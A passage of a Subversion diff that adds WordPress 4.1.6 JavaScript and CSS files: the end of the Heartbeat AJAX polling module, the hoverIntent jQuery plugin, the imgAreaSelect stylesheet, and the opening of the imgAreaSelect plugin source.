+				visibilitychange = 'visibilitychange';
+				visibilityState = 'visibilityState';
+			} else if ( typeof document.msHidden !== 'undefined' ) { // IE10
+				hidden = 'msHidden';
+				visibilitychange = 'msvisibilitychange';
+				visibilityState = 'msVisibilityState';
+			} else if ( typeof document.webkitHidden !== 'undefined' ) { // Android
+				hidden = 'webkitHidden';
+				visibilitychange = 'webkitvisibilitychange';
+				visibilityState = 'webkitVisibilityState';
+			}
+
+			if ( hidden ) {
+				if ( document[hidden] ) {
+					settings.hasFocus = false;
+				}
+
+				$document.on( visibilitychange + '.wp-heartbeat', function() {
+					if ( document[visibilityState] === 'hidden' ) {
+						blurred();
+						window.clearInterval( settings.checkFocusTimer );
+					} else {
+						focused();
+						if ( document.hasFocus ) {
+							settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
+						}
+					}
+				});
+			}
+
+			// Use document.hasFocus() if available.
+			if ( document.hasFocus ) {
+				settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
+			}
+
+			$(window).on( 'unload.wp-heartbeat', function() {
+				// Don't connect any more
+				settings.suspend = true;
+
+				// Abort the last request if not completed
+				if ( settings.xhr && settings.xhr.readyState !== 4 ) {
+					settings.xhr.abort();
+				}
+			});
+
+			// Check for user activity every 30 seconds.
+			window.setInterval( checkUserActivity, 30000 );
+
+			// Start one tick after DOM ready
+			$document.ready( function() {
+				settings.lastTick = time();
+				scheduleNextTick();
+			});
+		}
+
+		/**
+		 * Return the current time according to the browser
+		 *
+		 * @access private
+		 *
+		 * @return int
+		 */
+		function time() {
+			return (new Date()).getTime();
+		}
+
+		/**
+		 * Check if the iframe is from the same origin
+		 *
+		 * @access private
+		 *
+		 * @return bool
+		 */
+		function isLocalFrame( frame ) {
+			var origin, src = frame.src;
+
+			// Need to compare strings as WebKit doesn't throw JS errors when iframes have different origin.
+			// It throws uncatchable exceptions.
+			if ( src && /^https?:\/\//.test( src ) ) {
+				origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host;
+
+				if ( src.indexOf( origin ) !== 0 ) {
+					return false;
+				}
+			}
+
+			try {
+				if ( frame.contentWindow.document ) {
+					return true;
+				}
+			} catch(e) {}
+
+			return false;
+		}
+
+		/**
+		 * Check if the document's focus has changed
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function checkFocus() {
+			if ( settings.hasFocus && ! document.hasFocus() ) {
+				blurred();
+			} else if ( ! settings.hasFocus && document.hasFocus() ) {
+				focused();
+			}
+		}
+
+		/**
+		 * Set error state and fire an event on XHR errors or timeout
+		 *
+		 * @access private
+		 *
+		 * @param string error The error type passed from the XHR
+		 * @param int status The HTTP status code passed from jqXHR (200, 404, 500, etc.)
+		 * @return void
+		 */
+		function setErrorState( error, status ) {
+			var trigger;
+
+			if ( error ) {
+				switch ( error ) {
+					case 'abort':
+						// do nothing
+						break;
+					case 'timeout':
+						// no response for 30 sec.
+						trigger = true;
+						break;
+					case 'error':
+						if ( 503 === status && settings.hasConnected ) {
+							trigger = true;
+							break;
+						}
+						/* falls through */
+					case 'parsererror':
+					case 'empty':
+					case 'unknown':
+						settings.errorcount++;
+
+						if ( settings.errorcount > 2 && settings.hasConnected ) {
+							trigger = true;
+						}
+
+						break;
+				}
+
+				if ( trigger && ! hasConnectionError() ) {
+					settings.connectionError = true;
+					$document.trigger( 'heartbeat-connection-lost', [error, status] );
+				}
+			}
+		}
+
+		/**
+		 * Clear the error state and fire an event
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function clearErrorState() {
+			// Has connected successfully
+			settings.hasConnected = true;
+
+			if ( hasConnectionError() ) {
+				settings.errorcount = 0;
+				settings.connectionError = false;
+				$document.trigger( 'heartbeat-connection-restored' );
+			}
+		}
+
+		/**
+		 * Gather the data and connect to the server
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function connect() {
+			var ajaxData, heartbeatData;
+
+			// If the connection to the server is slower than the interval,
+			// heartbeat connects as soon as the previous connection's response is received.
+			if ( settings.connecting || settings.suspend ) {
+				return;
+			}
+
+			settings.lastTick = time();
+
+			heartbeatData = $.extend( {}, settings.queue );
+			// Clear the data queue, anything added after this point will be send on the next tick
+			settings.queue = {};
+
+			$document.trigger( 'heartbeat-send', [ heartbeatData ] );
+
+			ajaxData = {
+				data: heartbeatData,
+				interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000,
+				_nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '',
+				action: 'heartbeat',
+				screen_id: settings.screenId,
+				has_focus: settings.hasFocus
+			};
+
+			settings.connecting = true;
+			settings.xhr = $.ajax({
+				url: settings.url,
+				type: 'post',
+				timeout: 30000, // throw an error if not completed after 30 sec.
+				data: ajaxData,
+				dataType: 'json'
+			}).always( function() {
+				settings.connecting = false;
+				scheduleNextTick();
+			}).done( function( response, textStatus, jqXHR ) {
+				var newInterval;
+
+				if ( ! response ) {
+					setErrorState( 'empty' );
+					return;
+				}
+
+				clearErrorState();
+
+				if ( response.nonces_expired ) {
+					$document.trigger( 'heartbeat-nonces-expired' );
+					return;
+				}
+
+				// Change the interval from PHP
+				if ( response.heartbeat_interval ) {
+					newInterval = response.heartbeat_interval;
+					delete response.heartbeat_interval;
+				}
+
+				$document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] );
+
+				// Do this last, can trigger the next XHR if connection time > 5 sec. and newInterval == 'fast'
+				if ( newInterval ) {
+					interval( newInterval );
+				}
+			}).fail( function( jqXHR, textStatus, error ) {
+				setErrorState( textStatus || 'unknown', jqXHR.status );
+				$document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] );
+			});
+		}
+
+		/**
+		 * Schedule the next connection
+		 *
+		 * Fires immediately if the connection time is longer than the interval.
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function scheduleNextTick() {
+			var delta = time() - settings.lastTick,
+				interval = settings.mainInterval;
+
+			if ( settings.suspend ) {
+				return;
+			}
+
+			if ( ! settings.hasFocus ) {
+				interval = 120000; // 120 sec. Post locks expire after 150 sec.
+			} else if ( settings.countdown > 0 && settings.tempInterval ) {
+				interval = settings.tempInterval;
+				settings.countdown--;
+
+				if ( settings.countdown < 1 ) {
+					settings.tempInterval = 0;
+				}
+			}
+
+			if ( settings.minimalInterval && interval < settings.minimalInterval ) {
+				interval = settings.minimalInterval;
+			}
+
+			window.clearTimeout( settings.beatTimer );
+
+			if ( delta < interval ) {
+				settings.beatTimer = window.setTimeout(
+					function() {
+						connect();
+					},
+					interval - delta
+				);
+			} else {
+				connect();
+			}
+		}
+
+		/**
+		 * Set the internal state when the browser window becomes hidden or loses focus
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function blurred() {
+			settings.hasFocus = false;
+		}
+
+		/**
+		 * Set the internal state when the browser window becomes visible or is in focus
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function focused() {
+			settings.userActivity = time();
+
+			// Resume if suspended
+			settings.suspend = false;
+
+			if ( ! settings.hasFocus ) {
+				settings.hasFocus = true;
+				scheduleNextTick();
+			}
+		}
+
+		/**
+		 * Runs when the user becomes active after a period of inactivity
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function userIsActive() {
+			settings.userActivityEvents = false;
+			$document.off( '.wp-heartbeat-active' );
+
+			$('iframe').each( function( i, frame ) {
+				if ( isLocalFrame( frame ) ) {
+					$( frame.contentWindow ).off( '.wp-heartbeat-active' );
+				}
+			});
+
+			focused();
+		}
+
+		/**
+		 * Check for user activity
+		 *
+		 * Runs every 30 sec.
+		 * Sets 'hasFocus = true' if user is active and the window is in the background.
+		 * Set 'hasFocus = false' if the user has been inactive (no mouse or keyboard activity)
+		 * for 5 min. even when the window has focus.
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function checkUserActivity() {
+			var lastActive = settings.userActivity ? time() - settings.userActivity : 0;
+
+			// Throttle down when no mouse or keyboard activity for 5 min.
+			if ( lastActive > 300000 && settings.hasFocus ) {
+				blurred();
+			}
+
+			// Suspend after 10 min. of inactivity when suspending is enabled.
+			// Always suspend after 60 min. of inactivity. This will release the post lock, etc.
+			if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) {
+				settings.suspend = true;
+			}
+
+			if ( ! settings.userActivityEvents ) {
+				$document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
+					userIsActive();
+				});
+
+				$('iframe').each( function( i, frame ) {
+					if ( isLocalFrame( frame ) ) {
+						$( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
+							userIsActive();
+						});
+					}
+				});
+
+				settings.userActivityEvents = true;
+			}
+		}
+
+		// Public methods
+
+		/**
+		 * Whether the window (or any local iframe in it) has focus, or the user is active
+		 *
+		 * @return bool
+		 */
+		function hasFocus() {
+			return settings.hasFocus;
+		}
+
+		/**
+		 * Whether there is a connection error
+		 *
+		 * @return bool
+		 */
+		function hasConnectionError() {
+			return settings.connectionError;
+		}
+
+		/**
+		 * Connect asap regardless of 'hasFocus'
+		 *
+		 * Will not open two concurrent connections. If a connection is in progress,
+		 * will connect again immediately after the current connection completes.
+		 *
+		 * @return void
+		 */
+		function connectNow() {
+			settings.lastTick = 0;
+			scheduleNextTick();
+		}
+
+		/**
+		 * Disable suspending
+		 *
+		 * Should be used only when Heartbeat is performing critical tasks like autosave, post-locking, etc.
+		 * Using this on many screens may overload the user's hosting account if several
+		 * browser windows/tabs are left open for a long time.
+		 *
+		 * @return void
+		 */
+		function disableSuspend() {
+			settings.suspendEnabled = false;
+		}
+
+		/**
+		 * Get/Set the interval
+		 *
+		 * When setting to 'fast' or 5, by default interval is 5 sec. for the next 30 ticks (for 2 min and 30 sec).
+		 * In this case the number of 'ticks' can be passed as second argument.
+		 * If the window doesn't have focus, the interval slows down to 2 min.
+		 *
+		 * @param mixed speed Interval: 'fast' or 5, 15, 30, 60, 120
+		 * @param string ticks Used with speed = 'fast' or 5, how many ticks before the interval reverts back
+		 * @return int Current interval in seconds
+		 */
+		function interval( speed, ticks ) {
+			var newInterval,
+				oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval;
+
+			if ( speed ) {
+				switch ( speed ) {
+					case 'fast':
+					case 5:
+						newInterval = 5000;
+						break;
+					case 15:
+						newInterval = 15000;
+						break;
+					case 30:
+						newInterval = 30000;
+						break;
+					case 60:
+						newInterval = 60000;
+						break;
+					case 120:
+						newInterval = 120000;
+						break;
+					case 'long-polling':
+						// Allow long polling, (experimental)
+						settings.mainInterval = 0;
+						return 0;
+					default:
+						newInterval = settings.originalInterval;
+				}
+
+				if ( settings.minimalInterval && newInterval < settings.minimalInterval ) {
+					newInterval = settings.minimalInterval;
+				}
+
+				if ( 5000 === newInterval ) {
+					ticks = parseInt( ticks, 10 ) || 30;
+					ticks = ticks < 1 || ticks > 30 ? 30 : ticks;
+
+					settings.countdown = ticks;
+					settings.tempInterval = newInterval;
+				} else {
+					settings.countdown = 0;
+					settings.tempInterval = 0;
+					settings.mainInterval = newInterval;
+				}
+
+				// Change the next connection time if new interval has been set.
+				// Will connect immediately if the time since the last connection
+				// is greater than the new interval.
+				if ( newInterval !== oldInterval ) {
+					scheduleNextTick();
+				}
+			}
+
+			return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000;
+		}
+
+		/**
+		 * Enqueue data to send with the next XHR
+		 *
+		 * As the data is send asynchronously, this function doesn't return the XHR response.
+		 * To see the response, use the custom jQuery event 'heartbeat-tick' on the document, example:
+		 *		$(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) {
+		 *			// code
+		 *		});
+		 * If the same 'handle' is used more than once, the data is not overwritten when the third argument is 'true'.
+		 * Use wp.heartbeat.isQueued('handle') to see if any data is already queued for that handle.
+		 *
+		 * $param string handle Unique handle for the data. The handle is used in PHP to receive the data.
+		 * $param mixed data The data to send.
+		 * $param bool noOverwrite Whether to overwrite existing data in the queue.
+		 * $return bool Whether the data was queued or not.
+		 */
+		function enqueue( handle, data, noOverwrite ) {
+			if ( handle ) {
+				if ( noOverwrite && this.isQueued( handle ) ) {
+					return false;
+				}
+
+				settings.queue[handle] = data;
+				return true;
+			}
+			return false;
+		}
+
+		/**
+		 * Check if data with a particular handle is queued
+		 *
+		 * $param string handle The handle for the data
+		 * $return bool Whether some data is queued with this handle
+		 */
+		function isQueued( handle ) {
+			if ( handle ) {
+				return settings.queue.hasOwnProperty( handle );
+			}
+		}
+
+		/**
+		 * Remove data with a particular handle from the queue
+		 *
+		 * $param string handle The handle for the data
+		 * $return void
+		 */
+		function dequeue( handle ) {
+			if ( handle ) {
+				delete settings.queue[handle];
+			}
+		}
+
+		/**
+		 * Get data that was enqueued with a particular handle
+		 *
+		 * $param string handle The handle for the data
+		 * $return mixed The data or undefined
+		 */
+		function getQueuedItem( handle ) {
+			if ( handle ) {
+				return this.isQueued( handle ) ? settings.queue[handle] : undefined;
+			}
+		}
+
+		initialize();
+
+		// Expose public methods
+		return {
+			hasFocus: hasFocus,
+			connectNow: connectNow,
+			disableSuspend: disableSuspend,
+			interval: interval,
+			hasConnectionError: hasConnectionError,
+			enqueue: enqueue,
+			dequeue: dequeue,
+			isQueued: isQueued,
+			getQueuedItem: getQueuedItem
+		};
+	};
+
+	// Ensure the global `wp` object exists.
+	window.wp = window.wp || {};
+	window.wp.heartbeat = new Heartbeat();
+
+}( jQuery, window ));
Index: /tags/4.1.6/src/wp-includes/js/hoverIntent.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/hoverIntent.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/hoverIntent.js	(revision 33402)
@@ -0,0 +1,115 @@
+/*!
+ * hoverIntent r7 // 2013.03.11 // jQuery 1.9.1+
+ * http://cherne.net/brian/resources/jquery.hoverIntent.html
+ *
+ * You may use hoverIntent under the terms of the MIT license. Basically that
+ * means you are free to use hoverIntent as long as this header is left intact.
+ * Copyright 2007, 2013 Brian Cherne
+ */
+
+/* hoverIntent is similar to jQuery's built-in "hover" method except that
+ * instead of firing the handlerIn function immediately, hoverIntent checks
+ * to see if the user's mouse has slowed down (beneath the sensitivity
+ * threshold) before firing the event. The handlerOut function is only
+ * called after a matching handlerIn.
+ *
+ * // basic usage ... just like .hover()
+ * .hoverIntent( handlerIn, handlerOut )
+ * .hoverIntent( handlerInOut )
+ *
+ * // basic usage ... with event delegation!
+ * .hoverIntent( handlerIn, handlerOut, selector )
+ * .hoverIntent( handlerInOut, selector )
+ *
+ * // using a basic configuration object
+ * .hoverIntent( config )
+ *
+ * @param  handlerIn   function OR configuration object
+ * @param  handlerOut  function OR selector for delegation OR undefined
+ * @param  selector    selector OR undefined
+ * @author Brian Cherne <brian(at)cherne(dot)net>
+ */
+(function($) {
+    $.fn.hoverIntent = function(handlerIn,handlerOut,selector) {
+
+        // default configuration values
+        var cfg = {
+            interval: 100,
+            sensitivity: 7,
+            timeout: 0
+        };
+
+        if ( typeof handlerIn === "object" ) {
+            cfg = $.extend(cfg, handlerIn );
+        } else if ($.isFunction(handlerOut)) {
+            cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } );
+        } else {
+            cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } );
+        }
+
+        // instantiate variables
+        // cX, cY = current X and Y position of mouse, updated by mousemove event
+        // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
+        var cX, cY, pX, pY;
+
+        // A private function for getting mouse position
+        var track = function(ev) {
+            cX = ev.pageX;
+            cY = ev.pageY;
+        };
+
+        // A private function for comparing current and previous mouse position
+        var compare = function(ev,ob) {
+            ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
+            // compare mouse positions to see if they've crossed the threshold
+            if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {
+                $(ob).off("mousemove.hoverIntent",track);
+                // set hoverIntent state to true (so mouseOut can be called)
+                ob.hoverIntent_s = 1;
+                return cfg.over.apply(ob,[ev]);
+            } else {
+                // set previous coordinates for next time
+                pX = cX; pY = cY;
+                // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
+                ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
+            }
+        };
+
+        // A private function for delaying the mouseOut function
+        var delay = function(ev,ob) {
+            ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
+            ob.hoverIntent_s = 0;
+            return cfg.out.apply(ob,[ev]);
+        };
+
+        // A private function for handling mouse 'hovering'
+        var handleHover = function(e) {
+            // copy objects to be passed into t (required for event object to be passed in IE)
+            var ev = jQuery.extend({},e);
+            var ob = this;
+
+            // cancel hoverIntent timer if it exists
+            if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }
+
+            // if e.type == "mouseenter"
+            if (e.type == "mouseenter") {
+                // set "previous" X and Y position based on initial entry point
+                pX = ev.pageX; pY = ev.pageY;
+                // update "current" X and Y position based on mousemove
+                $(ob).on("mousemove.hoverIntent",track);
+                // start polling interval (self-calling timeout) to compare mouse coordinates over time
+                if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}
+
+                // else e.type == "mouseleave"
+            } else {
+                // unbind expensive mousemove event
+                $(ob).off("mousemove.hoverIntent",track);
+                // if hoverIntent state is true, then call the mouseOut function after the specified delay
+                if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
+            }
+        };
+
+        // listen for mouseenter and mouseleave
+        return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector);
+    };
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/imgareaselect/imgareaselect.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/imgareaselect/imgareaselect.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/imgareaselect/imgareaselect.css	(revision 33402)
@@ -0,0 +1,41 @@
+/*
+ * imgAreaSelect animated border style
+ */
+
+.imgareaselect-border1 {
+	background: url(border-anim-v.gif) repeat-y left top;
+}
+
+.imgareaselect-border2 {
+    background: url(border-anim-h.gif) repeat-x left top;
+}
+
+.imgareaselect-border3 {
+    background: url(border-anim-v.gif) repeat-y right top;
+}
+
+.imgareaselect-border4 {
+    background: url(border-anim-h.gif) repeat-x left bottom;
+}
+
+.imgareaselect-border1, .imgareaselect-border2,
+.imgareaselect-border3, .imgareaselect-border4 {
+    filter: alpha(opacity=50);
+	opacity: 0.5;
+}
+
+.imgareaselect-handle {
+    background-color: #fff;
+	border: solid 1px #000;
+    filter: alpha(opacity=50);
+	opacity: 0.5;
+}
+
+.imgareaselect-outer {
+	background-color: #000;
+    filter: alpha(opacity=50);
+	opacity: 0.5;
+}
+
+.imgareaselect-selection {
+}
Index: /tags/4.1.6/src/wp-includes/js/imgareaselect/jquery.imgareaselect.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/imgareaselect/jquery.imgareaselect.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/imgareaselect/jquery.imgareaselect.js	(revision 33402)
@@ -0,0 +1,1205 @@
+/*
+ * imgAreaSelect jQuery plugin
+ * version 0.9.10
+ *
+ * Copyright (c) 2008-2013 Michal Wojciechowski (odyniec.net)
+ *
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://odyniec.net/projects/imgareaselect/
+ *
+ */
+
+(function($) {
+
+/*
+ * Math functions will be used extensively, so it's convenient to make a few
+ * shortcuts
+ */
+var abs = Math.abs,
+    max = Math.max,
+    min = Math.min,
+    round = Math.round;
+
+/**
+ * Create a new HTML div element
+ *
+ * @return A jQuery object representing the new element
+ */
+function div() {
+    return $('<div/>');
+}
+
+/**
+ * imgAreaSelect initialization
+ *
+ * @param img
+ *            A HTML image element to attach the plugin to
+ * @param options
+ *            An options object
+ */
+$.imgAreaSelect = function (img, options) {
+    var
+        /* jQuery object representing the image */
+        $img = $(img),
+
+        /* Has the image finished loading? */
+        imgLoaded,
+
+        /* Plugin elements */
+
+        /* Container box */
+        $box = div(),
+        /* Selection area */
+        $area = div(),
+        /* Border (four divs) */
+        $border = div().add(div()).add(div()).add(div()),
+        /* Outer area (four divs) */
+        $outer = div().add(div()).add(div()).add(div()),
+        /* Handles (empty by default, initialized in setOptions()) */
+        $handles = $([]),
+
+        /*
+         * Additional element to work around a cursor problem in Opera
+         * (explained later)
+         */
+        $areaOpera,
+
+        /* Image position (relative to viewport) */
+        left, top,
+
+        /* Image offset (as returned by .offset()) */
+        imgOfs = { left: 0, top: 0 },
+
+        /* Image dimensions (as returned by .width() and .height()) */
+        imgWidth, imgHeight,
+
+        /*
+         * jQuery object representing the parent element that the plugin
+         * elements are appended to
+         */
+        $parent,
+
+        /* Parent element offset (as returned by .offset()) */
+        parOfs = { left: 0, top: 0 },
+
+        /* Base z-index for plugin elements */
+        zIndex = 0,
+
+        /* Plugin elements position */
+        position = 'absolute',
+
+        /* X/Y coordinates of the starting point for move/resize operations */
+        startX, startY,
+
+        /* Horizontal and vertical scaling factors */
+        scaleX, scaleY,
+
+        /* Current resize mode ("nw", "se", etc.) */
+        resize,
+
+        /* Selection area constraints */
+        minWidth, minHeight, maxWidth, maxHeight,
+
+        /* Aspect ratio to maintain (floating point number) */
+        aspectRatio,
+
+        /* Are the plugin elements currently displayed? */
+        shown,
+
+        /* Current selection (relative to parent element) */
+        x1, y1, x2, y2,
+
+        /* Current selection (relative to scaled image) */
+        selection = { x1: 0, y1: 0, x2: 0, y2: 0, width: 0, height: 0 },
+
+        /* Document element */
+        docElem = document.documentElement,
+
+        /* User agent */
+        ua = navigator.userAgent,
+
+        /* Various helper variables used throughout the code */
+        $p, d, i, o, w, h, adjusted;
+
+    /*
+     * Translate selection coordinates (relative to scaled image) to viewport
+     * coordinates (relative to parent element)
+     */
+
+    /**
+     * Translate selection X to viewport X
+     *
+     * @param x
+     *            Selection X
+     * @return Viewport X
+     */
+    function viewX(x) {
+        return x + imgOfs.left - parOfs.left;
+    }
+
+    /**
+     * Translate selection Y to viewport Y
+     *
+     * @param y
+     *            Selection Y
+     * @return Viewport Y
+     */
+    function viewY(y) {
+        return y + imgOfs.top - parOfs.top;
+    }
+
+    /*
+     * Translate viewport coordinates to selection coordinates
+     */
+
+    /**
+     * Translate viewport X to selection X
+     *
+     * @param x
+     *            Viewport X
+     * @return Selection X
+     */
+    function selX(x) {
+        return x - imgOfs.left + parOfs.left;
+    }
+
+    /**
+     * Translate viewport Y to selection Y
+     *
+     * @param y
+     *            Viewport Y
+     * @return Selection Y
+     */
+    function selY(y) {
+        return y - imgOfs.top + parOfs.top;
+    }
+
+    /*
+     * Translate event coordinates (relative to document) to viewport
+     * coordinates
+     */
+
+    /**
+     * Get event X and translate it to viewport X
+     *
+     * @param event
+     *            The event object
+     * @return Viewport X
+     */
+    function evX(event) {
+        return event.pageX - parOfs.left;
+    }
+
+    /**
+     * Get event Y and translate it to viewport Y
+     *
+     * @param event
+     *            The event object
+     * @return Viewport Y
+     */
+    function evY(event) {
+        return event.pageY - parOfs.top;
+    }
+
+    /**
+     * Get the current selection
+     *
+     * @param noScale
+     *            If set to <code>true</code>, scaling is not applied to the
+     *            returned selection
+     * @return Selection object
+     */
+    function getSelection(noScale) {
+        var sx = noScale || scaleX, sy = noScale || scaleY;
+
+        return { x1: round(selection.x1 * sx),
+            y1: round(selection.y1 * sy),
+            x2: round(selection.x2 * sx),
+            y2: round(selection.y2 * sy),
+            width: round(selection.x2 * sx) - round(selection.x1 * sx),
+            height: round(selection.y2 * sy) - round(selection.y1 * sy) };
+    }
+
+    /**
+     * Set the current selection
+     *
+     * @param x1
+     *            X coordinate of the upper left corner of the selection area
+     * @param y1
+     *            Y coordinate of the upper left corner of the selection area
+     * @param x2
+     *            X coordinate of the lower right corner of the selection area
+     * @param y2
+     *            Y coordinate of the lower right corner of the selection area
+     * @param noScale
+     *            If set to <code>true</code>, scaling is not applied to the
+     *            new selection
+     */
+    function setSelection(x1, y1, x2, y2, noScale) {
+        var sx = noScale || scaleX, sy = noScale || scaleY;
+
+        selection = {
+            x1: round(x1 / sx || 0),
+            y1: round(y1 / sy || 0),
+            x2: round(x2 / sx || 0),
+            y2: round(y2 / sy || 0)
+        };
+
+        selection.width = selection.x2 - selection.x1;
+        selection.height = selection.y2 - selection.y1;
+    }
+
+    /**
+     * Recalculate image and parent offsets
+     */
+    function adjust() {
+        /*
+         * Do not adjust if image has not yet loaded or if width is not a
+         * positive number. The latter might happen when imgAreaSelect is put
+         * on a parent element which is then hidden.
+         */
+        if (!imgLoaded || !$img.width())
+            return;
+
+        /*
+         * Get image offset. The .offset() method returns float values, so they
+         * need to be rounded.
+         */
+        imgOfs = { left: round($img.offset().left), top: round($img.offset().top) };
+
+        /* Get image dimensions */
+        imgWidth = $img.innerWidth();
+        imgHeight = $img.innerHeight();
+
+        imgOfs.top += ($img.outerHeight() - imgHeight) >> 1;
+        imgOfs.left += ($img.outerWidth() - imgWidth) >> 1;
+
+        /* Set minimum and maximum selection area dimensions */
+        minWidth = round(options.minWidth / scaleX) || 0;
+        minHeight = round(options.minHeight / scaleY) || 0;
+        maxWidth = round(min(options.maxWidth / scaleX || 1<<24, imgWidth));
+        maxHeight = round(min(options.maxHeight / scaleY || 1<<24, imgHeight));
+
+        /*
+         * Workaround for jQuery 1.3.2 incorrect offset calculation, originally
+         * observed in Safari 3. Firefox 2 is also affected.
+         */
+        if ($().jquery == '1.3.2' && position == 'fixed' &&
+            !docElem['getBoundingClientRect'])
+        {
+            imgOfs.top += max(document.body.scrollTop, docElem.scrollTop);
+            imgOfs.left += max(document.body.scrollLeft, docElem.scrollLeft);
+        }
+
+        /* Determine parent element offset */
+        parOfs = /absolute|relative/.test($parent.css('position')) ?
+            { left: round($parent.offset().left) - $parent.scrollLeft(),
+                top: round($parent.offset().top) - $parent.scrollTop() } :
+            position == 'fixed' ?
+                { left: $(document).scrollLeft(), top: $(document).scrollTop() } :
+                { left: 0, top: 0 };
+
+        left = viewX(0);
+        top = viewY(0);
+
+        /*
+         * Check if selection area is within image boundaries, adjust if
+         * necessary
+         */
+        if (selection.x2 > imgWidth || selection.y2 > imgHeight)
+            doResize();
+    }
+
+    /**
+     * Update plugin elements
+     *
+     * @param resetKeyPress
+     *            If set to <code>false</code>, this instance's keypress
+     *            event handler is not activated
+     */
+    function update(resetKeyPress) {
+        /* If plugin elements are hidden, do nothing */
+        if (!shown) return;
+
+        /*
+         * Set the position and size of the container box and the selection area
+         * inside it
+         */
+        $box.css({ left: viewX(selection.x1), top: viewY(selection.y1) })
+            .add($area).width(w = selection.width).height(h = selection.height);
+
+        /*
+         * Reset the position of selection area, borders, and handles (IE6/IE7
+         * position them incorrectly if we don't do this)
+         */
+        $area.add($border).add($handles).css({ left: 0, top: 0 });
+
+        /* Set border dimensions */
+        $border
+            .width(max(w - $border.outerWidth() + $border.innerWidth(), 0))
+            .height(max(h - $border.outerHeight() + $border.innerHeight(), 0));
+
+        /* Arrange the outer area elements */
+        $($outer[0]).css({ left: left, top: top,
+            width: selection.x1, height: imgHeight });
+        $($outer[1]).css({ left: left + selection.x1, top: top,
+            width: w, height: selection.y1 });
+        $($outer[2]).css({ left: left + selection.x2, top: top,
+            width: imgWidth - selection.x2, height: imgHeight });
+        $($outer[3]).css({ left: left + selection.x1, top: top + selection.y2,
+            width: w, height: imgHeight - selection.y2 });
+
+        w -= $handles.outerWidth();
+        h -= $handles.outerHeight();
+
+        /* Arrange handles */
+        switch ($handles.length) {
+        case 8:
+            $($handles[4]).css({ left: w >> 1 });
+            $($handles[5]).css({ left: w, top: h >> 1 });
+            $($handles[6]).css({ left: w >> 1, top: h });
+            $($handles[7]).css({ top: h >> 1 });
+        case 4:
+            $handles.slice(1,3).css({ left: w });
+            $handles.slice(2,4).css({ top: h });
+        }
+
+        if (resetKeyPress !== false) {
+            /*
+             * Need to reset the document keypress event handler -- unbind the
+             * current handler
+             */
+            if ($.imgAreaSelect.onKeyPress != docKeyPress)
+                $(document).unbind($.imgAreaSelect.keyPress,
+                    $.imgAreaSelect.onKeyPress);
+
+            if (options.keys)
+                /*
+                 * Set the document keypress event handler to this instance's
+                 * docKeyPress() function
+                 */
+                $(document)[$.imgAreaSelect.keyPress](
+                    $.imgAreaSelect.onKeyPress = docKeyPress);
+        }
+
+        /*
+         * Internet Explorer displays 1px-wide dashed borders incorrectly by
+         * filling the spaces between dashes with white. Toggling the margin
+         * property between 0 and "auto" fixes this in IE6 and IE7 (IE8 is still
+         * broken). This workaround is not perfect, as it requires setTimeout()
+         * and thus causes the border to flicker a bit, but I haven't found a
+         * better solution.
+         *
+         * Note: This only happens with CSS borders, set with the borderWidth,
+         * borderOpacity, borderColor1, and borderColor2 options (which are now
+         * deprecated). Borders created with GIF background images are fine.
+         */
+        if (msie && $border.outerWidth() - $border.innerWidth() == 2) {
+            $border.css('margin', 0);
+            setTimeout(function () { $border.css('margin', 'auto'); }, 0);
+        }
+    }
+
+    /**
+     * Do the complete update sequence: recalculate offsets, update the
+     * elements, and set the correct values of x1, y1, x2, and y2.
+     *
+     * @param resetKeyPress
+     *            If set to <code>false</code>, this instance's keypress
+     *            event handler is not activated
+     */
+    function doUpdate(resetKeyPress) {
+        adjust();
+        update(resetKeyPress);
+        x1 = viewX(selection.x1); y1 = viewY(selection.y1);
+        x2 = viewX(selection.x2); y2 = viewY(selection.y2);
+    }
+
+    /**
+     * Hide or fade out an element (or multiple elements)
+     *
